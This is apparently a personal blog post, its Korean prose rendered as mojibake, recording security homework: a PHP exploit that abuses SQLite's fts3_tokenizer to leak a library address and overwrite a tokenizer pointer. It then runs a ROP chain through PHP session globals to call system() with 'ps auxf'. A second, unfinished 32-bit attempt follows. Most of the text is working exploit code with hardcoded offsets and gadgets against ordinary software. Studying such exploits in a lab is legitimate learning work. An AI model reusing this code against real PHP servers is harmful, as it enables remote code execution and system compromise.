๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค

๊ณผ์ œ2 64bit Remote Code Execution


๋ฉ˜ํ† ๋‹˜์ด ์ฃผ์‹  64bit exploit code์—์„œ ๊ฐ€์ ฏ์„ ๋ฐ”๊พธ์–ด ์‹œ๋„ํ•ด๋ณด์•˜๋‹ค.

fts3_tokenizer ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ ๊ฒƒ์œผ๋กœ ์ƒˆ๋กœ์šด tokenizer๋ฅผ ๋“ฑ๋กํ•  ๋•Œ, ๋‘ ๊ฐ€์ง€ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์˜€๋‹ค. ์ฒซ ๋ฒˆ์งธ๋กœ ๋“ฑ๋ก๋œ tokenizer์˜ ์ฃผ์†Œ๋ฅผ ์ฟผ๋ฆฌํ•˜๋ฉด ์ฃผ์†Œ๊ฐ€ ์œ ์ถœ๋œ๋‹ค๋Š” ์ ๊ณผ

<?php

$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];

?>

๋‘ ๋ฒˆ์งธ๋กœ, ์ธ์ž๋ฅผ 2๊ฐœ ์ด์ƒ ์ „๋‹ฌํ–ˆ์„ ๋•Œ, ๋‘ ๋ฒˆ์งธ ์ธ์ž๊ฐ’์„ ์›ํ•˜๋Š” ์ฃผ์†Œ๋กœ ๋„ฃ์–ด๋ฒ„๋ฆด ๋•Œ ์ ์ ˆํ•œ ๊ฒ€์ฆ์—†์ด ์ฃผ์†Œ๊ฐ€ ๋ฐ”๋€Œ์–ด๋ฒ„๋ฆฐ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•˜์˜€๋‹ค.

<?php

$db->exec(" 
    select fts3_tokenizer('simple', x'$bomb'); 
    create virtual table a using fts3(tokenize=simple);"
);

?>

๊ฐ€์ ฏ์— ์กฐ์ž‘๊ฐ€๋Šฅํ•œ ์ŠคํŠธ๋ง์„ ๋„ฃ์„ ์ฃผ์†Œ์™€ 8๋ฐ”์ดํŠธ ๋ฐ์ดํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ๊ฐœ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด php์— ๋‚ด์žฅ๋˜์–ด ์žˆ๋Š” ๊ธ€๋กœ๋ฒŒ ๋ณ€์ˆ˜ php_gs_globals structure ๋ฅผ ์ด์šฉํ•˜์˜€๋‹ค.

64bit system์—์„œ 8๋ฐ”์ดํŠธ ๋ฐ์ดํ„ฐ๋กœ long ๊ณผ char * ์ธ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์˜€๋‹ค.

[ ์ฃผ์†Œ ์ฐพ๊ธฐ ]

๊ทธ ๋‹ค์Œ ์‚ฌ์šฉํ•  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ์™€ ๋ณ€์ˆ˜๋“ค์˜ ์ฃผ์†Œ๋ฅผ ์‹ค์Šต๊ณผ ๊ฐ™์ด ์ง„ํ–‰ํ•˜์—ฌ ๊ตฌํ•˜์˜€๋‹ค.

shell cat /proc/self/maps | grep "libphp"

[ ๊ฐ€์ ฏ ์ฐพ๊ธฐ ]

ROPgadget์„ ์„ค์น˜ํ•œ ํ›„

python3 [ROPgadget.py](<http://ROPgadget.py>) -binary [๋ฐ”์ด๋„ˆ๋ฆฌํŒŒ์ผ๋ช…] | grep "leave ; ret"

๋“ฑ์œผ๋กœ ์›ํ•˜๋Š” ๊ฐ€์ ฏ์„ ๊ตฌํ•˜์˜€๋‹ค.

[ ์˜คํ”„์…‹ ์ฐพ๊ธฐ ]

leave; ret; ์œผ๋กœ ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , rdx์— command string ์ฃผ์†Œ, ๊ทธ ๋‹ค์Œ call r12๋ฅผ ํ†ตํ•ด r12์— system ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜์˜€๋‹ค.

  • leave; ret; // stack pivoting
  • pop rbx; ret // command string ์ฃผ์†Œ (libsqlite)
  • pop r12; ret // system function ์ฃผ์†Œ (libsqlite)
  • mov rdi, [rbx+0x18]; call r12 // call system (libsqlite)
<?php
ob_end_flush();
flush();
ob_flush();
ob_start();
echo getmypid();
echo str_repeat(" ",0x1212);
ob_end_flush();
flush();
ob_flush();
ob_start();

function flip($val) {
  $len = strlen($val);
  $result = '';
  for ($i = $len; $i > 2; $i-=2) {
    $result .= substr($val, $i - 2, 2);
  }
  $result .= substr($val, 0, $i);
  $result .= str_repeat('0', 16 - $len);  
  return $result;
}

function pk($in, $pad_to_bits=64, $little_endian=true) {
    $in = decbin($in);
    $in = str_pad($in, $pad_to_bits, '0', STR_PAD_LEFT);
    $out = '';
    for ($i = 0, $len = strlen($in); $i < $len; $i += 8) {
        $out .= chr(bindec(substr($in,$i,8)));
    }
    if($little_endian) $out = strrev($out);
    return $out;
}

################## sqlite leak ์ทจ์•ฝ์ ์œผ๋กœ ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ ################
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
$db->close();

//sleep(10);

################## /proc/self/maps ์ฝ์–ด์„œ offset ๊ตฌํ•˜๊ธฐ ################
//:::7f016a473260:::
$addr = hexdec(flip($leaked_addr));
$libsqlite3_base = $addr - 0x28B260;
$libphp_base = $libsqlite3_base + 0xD490000;
$libc_base = $libphp_base + 0xBAB000;
$init = $addr - 0x2830a8;
$system = $libc_base + 0x3A36D0;  // (gdb) p system

//php global๋ณ€์ˆ˜ ์ด์šฉ
$gc_probability = $libphp_base + 0x59ABF0;
$entropy_length = $gc_probability - (8 * 10);
$cookie_path = $entropy_length + (8 * 2);
################################################################

ob_end_flush();
flush();
ob_flush();
ob_start();

echo "\\n:::".dechex($addr).":::\\n";
echo ":::libsqlite3_base ".dechex($libsqlite3_base).":::\\n";
echo ":::libphp_base ".dechex($libphp_base).":::\\n";
echo ":::init ".dechex($init).":::\\n";
echo ":::libc_base ".dechex($libc_base).":::\\n";

echo ":::gc_probability ".dechex($gc_probability).":::\\n";
echo ":::entropy_length ".dechex($entropy_length).":::\\n";
echo ":::system ".dechex($system).":::\\n";
echo str_repeat(" ",0x1212);

ob_end_flush();
flush();
ob_flush();
ob_start();

$lr = $libsqlite3_base+0x8b75; 

$payload="";
$payload .= pk(0xdeaddeaddeaddead);

$payload .= pk($libsqlite3_base+0x8eca); //pop rbx; ret
$payload .= pk($cookie_path-0x18);
$payload .= pk($libsqlite3_base+0x9cb5); //pop r12; ret
$payload .= pk($system);
$payload .= pk($libsqlite3_base+0x23b5d); //mov rdi, [rbx+0x18]; call r12

ini_set("session.cache_limiter", $payload); //payload ๋„ฃ์„ ๊ณต๊ฐ„
ini_set("session.entropy_length", $lr);  //๊ณต๊ฒฉ ์‹œ์ž‘ ๊ตฌ๊ฐ„
ini_set("session.cookie_path", "ps auxf > /tmp/ch3rry_64"); //string ๋„ฃ์„ ๊ณต๊ฐ„ 

$db = new SQLite3(":memory:");
$bomb = flip(dechex($entropy_length-8)); 
$db->exec(" 
    select fts3_tokenizer('simple', x'$bomb'); 
    create virtual table a using fts3(tokenize=simple);"
);
?>

[ ๊ณต๊ฒฉ ๊ฒฐ๊ณผ ]

ch3rry_64 ํŒŒ์ผ์— ps auxf ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ณผ์ œ3 32bit Remote Code Execution


์ฒ˜์Œ ์ ‘๊ทผ์„ ์‹œ๋„ํ•  ๋•Œ, php global ๋ณ€์ˆ˜์ค‘์— ๋‚ด๊ฐ€ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’๊ณผ,

sqlite3_tokenizer_module ์— ์žˆ๋Š” xCreate, xDestroy, xOpen๋“ฑ์„ ์ ์ ˆํžˆ ์ด์šฉํ•ด์„œ ์ต์Šค๋ฅผ ํ•ด๋ณด๋ฉด ์–ด๋–จ๊นŒ? ๊ณ ๋ฏผํ•ด๋ณด์•˜๋‹ค.

์šฐ์„ , module์„ global ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ ์žฌ์ •์˜ํ•˜๊ณ , xOpen ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ์•„๋ž˜์™€ ๊ฐ™์ด ๋‚ด๊ฐ€ ์›ํ•˜๋Š” command string์„ ์ด์šฉํ•˜๊ณ ์ž ํ•˜์˜€์ง€๋งŒ ์ต์Šค ์ฝ”๋“œ๊นŒ์ง€๋Š” ๊ตฌํ˜„ํ•˜์ง€ ๋ชปํ–ˆ๋‹ค..

typedef struct _php_ps_globals {
		'''
    char *cache_limiter;    // ํŽ˜์ด๋กœ๋“œ ๊ณต๊ฐ„
    long entropy_length;    // ๊ณต๊ฒฉ ์‹œ์ž‘ , 8๋ฐ”์ดํŠธ
    long cookie_lifetime;   // X , 8๋ฐ”์ดํŠธ
    char *cookie_path;      // string ๋„ฃ์„ ๊ณต๊ฐ„, 8๋ฐ”์ดํŠธ
    char *cookie_domain; // 8๋ฐ”์ดํŠธ
    zend_bool  cookie_secure; //1๋ฐ”์ดํŠธ
    zend_bool  cookie_httponly; //1๋ฐ”์ดํŠธ
    ps_module *mod; // 1๋ฐ”์ดํŠธ
    ps_module *default_mod; //1๋ฐ”์ดํŠธ
    void *mod_data;
		'''
}

$db = new SQLite3(":memory:");

$bomb=flip(dechex($entropy_length+28));
$db->exec("
    select fts3_tokenizer('simple',x'$bomb');
    create virtual table a using fts3(tokenize=simple);
    insert into a values('ps auxf > /tmp/ch3rry_32')
 ");
profile

๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค

@๋‚จ๋ฐ”์˜ค